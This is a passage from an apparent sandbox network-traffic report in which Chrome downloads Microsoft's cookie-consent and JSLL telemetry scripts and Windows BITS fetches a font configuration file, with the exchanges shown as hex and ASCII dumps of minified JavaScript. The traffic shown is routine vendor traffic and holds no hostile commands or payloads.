65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c Data Ascii: )),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49763	13.107.246.45	443	1704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:14:31 UTC	373	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-19 18:14:31 UTC	713	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:14:31 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 40137 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 99ec4840-d01e-005d-1851-3a2a1e000000 x-ms-version: 2009-09-19 x-azure-ref: 20241119T181431Z-1777c6cb754xrr98hC1TEB3kag000000085g00000000v38n Accept-Ranges: bytes
2024-11-19 18:14:31 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-19 18:14:31 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-11-19 18:14:31 UTC	711	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-11-19 18:14:31 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 7d 2c 65 7d 28 29 2c 64 3d 5b 22 61 72 22 2c 22 68 65 22 2c 22 70 73 22 2c 22 75 72 22 2c 22 66 61 22 2c 22 70 61 22 2c 22 73 64 22 2c 22 74 6b 22 2c 22 75 67 22 2c 22 79 69 22 2c 22 73 79 72 22 2c 22 6b 73 2d 61 72 61 62 22 5d 2c 75 3d 7b 22 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 3a 22 23 36 36 36 36 36 36 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 6f 70 61 63 69 74 79 22 3a 22 31 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f Data Ascii: background-color: "+e["radio-button-disabled-color"]+" !important;\n }"},e}(),d=["ar","he","ps","ur","fa","pa","sd","tk","ug","yi","syr","ks-arab"],u={"close-button-color":"#666666","secondary-button-disabled-opacity":"1","secondary-butto
2024-11-19 18:14:31 UTC	3567	IN	Data Raw: 28 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e Data Ascii: ("-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChan

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49767	13.107.246.45	443	1704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:14:31 UTC	370	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-19 18:14:31 UTC	868	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:14:31 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241119T181431Z-1777c6cb754b7tdghC1TEBwwa400000008q0000000000h8f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:14:31 UTC	15516	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-19 18:14:31 UTC	16384	IN	Data Raw: 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 31 31 29 5d 3d 22 49 50 72 6f 6d 69 73 65 22 29 2c 61 2e 74 6f Data Ascii: &&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(11)]="IPromise"),a.to
2024-11-19 18:14:31 UTC	16384	IN	Data Raw: 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 59 28 65 2c 22 6c 69 73 74 65 6e 65 72 73 22 2c 7b 67 Data Ascii: on(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(e){Y(e,"listeners",{g
2024-11-19 18:14:31 UTC	16384	IN	Data Raw: 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 41 5b 74 65 5d 28 65 29 2c Data Ascii: hComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};function c(){A[te](e),
2024-11-19 18:14:31 UTC	16384	IN	Data Raw: 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 4e 6c 28 29 7b 72 65 74 75 72 Data Ascii: fined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return null}function Nl(){retur
2024-11-19 18:14:31 UTC	16384	IN	Data Raw: 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 65 29 7b 76 61 72 20 6f 3d 74 68 69 73 2c 63 3d 7b 7d 3b Data Ascii: me failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(a,e){var o=this,c={};
2024-11-19 18:14:31 UTC	16384	IN	Data Raw: 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 61 67 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 Data Ascii: ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageTags=function(e,t){var
2024-11-19 18:14:31 UTC	16384	IN	Data Raw: 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d 65 7c 7c 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 Data Ascii: otype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].name\|\|~t[n].name.indexOf
2024-11-19 18:14:31 UTC	16384	IN	Data Raw: 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 6c 69 63 65 22 2c 44 67 3d 22 74 6f 4c 6f 77 65 72 43 61 73 65 Data Ascii: en",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="splice",Dg="toLowerCase
2024-11-19 18:14:31 UTC	16384	IN	Data Raw: 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c 74 29 3a 28 72 3d 31 2c 69 3d 32 30 2c 34 3d 3d 3d 6e 26 26 28 Data Ascii: [lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,t):(r=1,i=20,4===n&&(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49768	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:14:31 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-19 18:14:32 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=81053 Date: Tue, 19 Nov 2024 18:14:31 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49774	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:14:32 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-19 18:14:33 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=81012 Date: Tue, 19 Nov 2024 18:14:33 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-19 18:14:33 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49842	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
